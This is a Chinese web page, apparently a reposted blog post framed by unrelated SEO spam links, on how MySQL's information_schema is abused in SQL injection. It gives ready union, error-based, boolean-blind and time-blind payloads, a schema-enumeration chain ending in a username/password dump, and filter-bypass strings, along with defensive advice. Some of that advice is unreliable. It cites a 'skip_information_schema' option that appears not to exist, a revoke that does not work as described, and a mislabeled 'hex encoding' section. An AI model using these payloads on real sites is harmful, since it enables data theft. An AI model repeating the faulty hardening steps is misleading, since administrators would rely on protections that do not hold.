当前位置: 首页 > wzjs >正文

海宁做网站北京网络营销招聘

海宁做网站,北京网络营销招聘,html基础菜鸟教程,潍坊网站建设兼职目录 一、information_schema的核心价值 二、攻击利用场景与示例 1. 联合查询注入(Union-Based) 2. 报错注入(Error-Based) 3. 布尔盲注(Boolean Blind) 4. 时间盲注(Time-Based&#xff0…

目录

一、information_schema的核心价值

二、攻击利用场景与示例

1. 联合查询注入(Union-Based)

2. 报错注入(Error-Based)

3. 布尔盲注(Boolean Blind)

4. 时间盲注(Time-Based)

三、攻击链中的关键步骤

四、不同MySQL版本的差异

五、防御策略与实战方案

1. 最小权限原则

2. 输入过滤与拦截

3. 数据库加固

4. WAF规则示例(ModSecurity)

六、进阶绕过技术及应对

1. 编码绕过

2. 替代元数据源

3. 基于时间的模糊探测

七、企业级防御架构

结语


一、information_schema的核心价值

information_schema是MySQL默认的系统数据库,存储了所有数据库的元数据信息。在SQL注入攻击中,它相当于攻击者的“地图”,用于探测目标数据库结构,具体包含以下关键表:

  • ​TABLES​​:记录所有表名及所属数据库(table_nametable_schema
  • ​COLUMNS​​:记录所有列名及所属表(column_nametable_name
  • ​SCHEMATA​​:列出所有数据库名(schema_name
  • ​USER_PRIVILEGES​​:用户权限信息
二、攻击利用场景与示例
1. 联合查询注入(Union-Based)

通过联合查询直接读取元数据:

' UNION SELECT table_name, table_schema FROM information_schema.tables WHERE table_schema=database()-- 

结果示例:

+------------+--------------+
| table_name | table_schema |
+------------+--------------+
| users      | app_db       |
| orders     | app_db       |
+------------+--------------+
2. 报错注入(Error-Based)

利用报错函数提取信息:

' AND extractvalue(1, concat(0x7e,(SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1,1)))-- 

报错输出:

XPATH syntax error: '~password'
3. 布尔盲注(Boolean Blind)

逐字符猜测表名:

' AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 1)='u'-- 

若页面返回正常,说明第一个表名的首字母是u

4. 时间盲注(Time-Based)

通过延时判断数据存在性:

' AND IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5, SLEEP(5), 0)-- 

若响应延迟5秒,说明当前数据库存在超过5张表。

三、攻击链中的关键步骤
  1. ​枚举数据库​​:
    SELECT schema_name FROM information_schema.schemata
  2. ​定位目标表​​:
    SELECT table_name FROM information_schema.tables WHERE table_schema='app_db'
  3. ​获取字段结构​​:
    SELECT column_name FROM information_schema.columns WHERE table_name='users'
  4. ​构造最终Payload​​:
    UNION SELECT username, password FROM users-- 
四、不同MySQL版本的差异
版本范围information_schema访问特性注入影响
MySQL < 5.0information_schema需暴力猜解表名/列名
MySQL 5.0-5.6完整元数据访问,默认对所有用户可见攻击者可完整枚举数据库结构
MySQL ≥ 5.7引入performance_schema,部分权限受限SELECT权限访问元数据
五、防御策略与实战方案
1. 最小权限原则
  • ​应用账户权限配置​​:
    CREATE USER 'webapp'@'%' IDENTIFIED BY 'SecurePass123!';
    GRANT SELECT, INSERT ON app_db.users TO 'webapp'@'%';
    REVOKE SELECT ON information_schema.* FROM 'webapp'@'%';
2. 输入过滤与拦截
  • ​黑名单过滤关键词​​(正则示例):
    (information_schema\.(tables|columns)|schema_name\b)
  • ​参数化查询​​(Python示例):
    cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
3. 数据库加固
  • ​禁用元数据访问​​(需重启):
    [mysqld]
    skip_information_schema
  • ​日志监控可疑查询​​:
    SELECT * FROM mysql.general_log 
    WHERE argument LIKE '%information_schema%';
4. WAF规则示例(ModSecurity)
SecRule ARGS "@contains information_schema" \"id:1001,phase:2,deny,msg:'SQLi detected: information_schema access'"
六、进阶绕过技术及应对
1. 编码绕过
  • ​十六进制编码​​:
    UNION SELECT * FROM information_schema.`TABLES` -- 正常访问
    UNION SELECT * FROM infoorrmation_schema.`TABLES` -- 双写绕过
    ' UNION SELECT * FROM info%72mation_schema.tables -- URL编码
2. 替代元数据源

information_schema不可用时,攻击者可能尝试:

  • mysql系统库​​(需更高权限):
    SELECT db, table_name FROM mysql.db
  • ​暴力猜解​​:
    AND (SELECT COUNT(*) FROM users) > 0 -- 假设存在users表
3. 基于时间的模糊探测
IF(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1),1,1)=CHAR(97), BENCHMARK(5000000,MD5('a')),0)
七、企业级防御架构

结语

information_schema是SQL注入攻击的“战略要地”,防御需建立多层防线:

  1. ​权限最小化​​:严格限制数据库账户权限
  2. ​输入消毒​​:结合正则过滤与参数化查询
  3. ​深度监控​​:实时审计敏感元数据访问行为
  4. ​纵深防御​​:WAF与数据库防火墙联动防护

通过代码层、网络层、数据库层的三重加固,可有效遏制攻击者利用系统元数据实施数据泄露,将SQL注入的危害降到最低。

http://www.dtcms.com/wzjs/117501.html

相关文章:

  • 日本做a视频网站市场营销方案范文
  • 小程序登录不上北京seo服务行者
  • 查询网站是否过期武汉seo服务外包
  • 贵阳网站建设企业无代码网站开发平台
  • 手机用什么软件做网站各大网站提交入口网址
  • 怎样建俄文网站关键词优化排名软件
  • 长春建网站一般要多少钱网站优化排名怎么做
  • 大企业网站建设公司排名爱站网为什么不能用了
  • 做网页跳转网站线上推广的方式有哪些
  • 重庆规模最大的建网站公司肇庆seo
  • 计算机培训班价格北京seo优化多少钱
  • 中阔浩潮建设工程有限公司网站中国搜索引擎排行榜
  • 哪里网站建设专业建设网页
  • 怎么利用wordpress做网站百度极速版客服电话
  • 如何让百度收录自己的网站seo的主要工作是什么
  • 潍坊网站建设 世纪环球16楼网页模板代码
  • 做微信小程序是不是不用做网站百度游戏客服在线咨询
  • 忻州免费建网站360关键词指数查询
  • 北海网站制作公司营销心得体会感悟300字
  • 网站htm建设大数据营销系统软件
  • 怎么学习做网站西安seo培训机构
  • 做外链一般都用网站首页吗seo诊断分析在线工具
  • 成都建好的网站出租免费网站的软件
  • 深圳专业做网站服务大数据网络营销
  • 英文网站导航 源码企业全网推广
  • 论坛网站建设怎么让百度收录
  • 做网站前期需要准备什么seo对网店推广的作用
  • 做号网站吗近两年网络营销成功案例
  • 湛江seo建站赣州网站建设公司
  • 南昌做网站费用百度云搜索引擎入口官网